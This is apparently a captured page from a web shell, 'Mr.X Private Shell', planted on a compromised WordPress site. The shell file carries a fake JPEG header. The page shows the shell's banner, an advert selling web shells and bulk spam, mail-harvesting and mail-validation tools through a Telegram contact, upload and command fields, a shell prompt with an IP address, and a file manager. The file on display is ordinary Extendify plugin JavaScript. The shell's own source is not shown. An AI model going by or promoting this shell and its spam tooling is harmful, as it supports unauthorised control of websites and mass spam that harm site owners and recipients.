����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

fistvdlb@216.73.217.65: ~ $
import { safeParseJson } from '@shared/lib/parsing';
import apiFetch from '@wordpress/api-fetch';
import { create } from 'zustand';
import { createJSONStorage, devtools, persist } from 'zustand/middleware';

const key = 'extendify-assist-globals';
const startingState = {
	dismissedNotices: [],
	dismissedBanners: [],
	modals: [],
	showConfetti: true,
	// domains suggestion key
	domainsCacheKey: 'first-run',
	// initialize the state with default values
	...(safeParseJson(window.extAssistData.userData.globalData)?.state ?? {}),
};

const state = (set, get) => ({
	...startingState,
	isDismissedBanner(id) {
		return get().dismissedBanners.some((banner) => banner.id === id);
	},
	dismissBanner(id) {
		if (get().isDismissedBanner(id)) return;
		const banner = { id, dismissedAt: new Date().toISOString() };
		set((state) => ({
			dismissedBanners: [...state.dismissedBanners, banner],
		}));
	},
	dismissConfetti() {
		set({ showConfetti: false });
	},
	pushModal(modal) {
		set((state) => ({ modals: [modal, ...state.modals] }));
	},
	popModal() {
		set((state) => ({ modals: state.modals.slice(1) }));
	},
	clearModals() {
		set({ modals: [] });
	},
	updateDomainsCacheKey() {
		set(() => ({ domainsCacheKey: Date.now() }));
	},
});

const path = '/extendify/v1/assist/global-data';
const storage = {
	getItem: async () => await apiFetch({ path }),
	setItem: async (_name, state) =>
		await apiFetch({ path, method: 'POST', data: { state } }),
};

export const useGlobalStore = create(
	persist(devtools(state, { name: 'Extendify Assist Globals' }), {
		name: key,
		storage: createJSONStorage(() => storage),
		skipHydration: true,
		partialize: (state) => {
			delete state.modals;
			return state;
		},
	}),
);

Filemanager

Name Type Size Permission Actions
domain-activities.js File 1.32 KB 0644
globals.js File 1.68 KB 0644
site-assist-tour.js File 570 B 0644
tasks.js File 3.86 KB 0644
user-selections.js File 1003 B 0644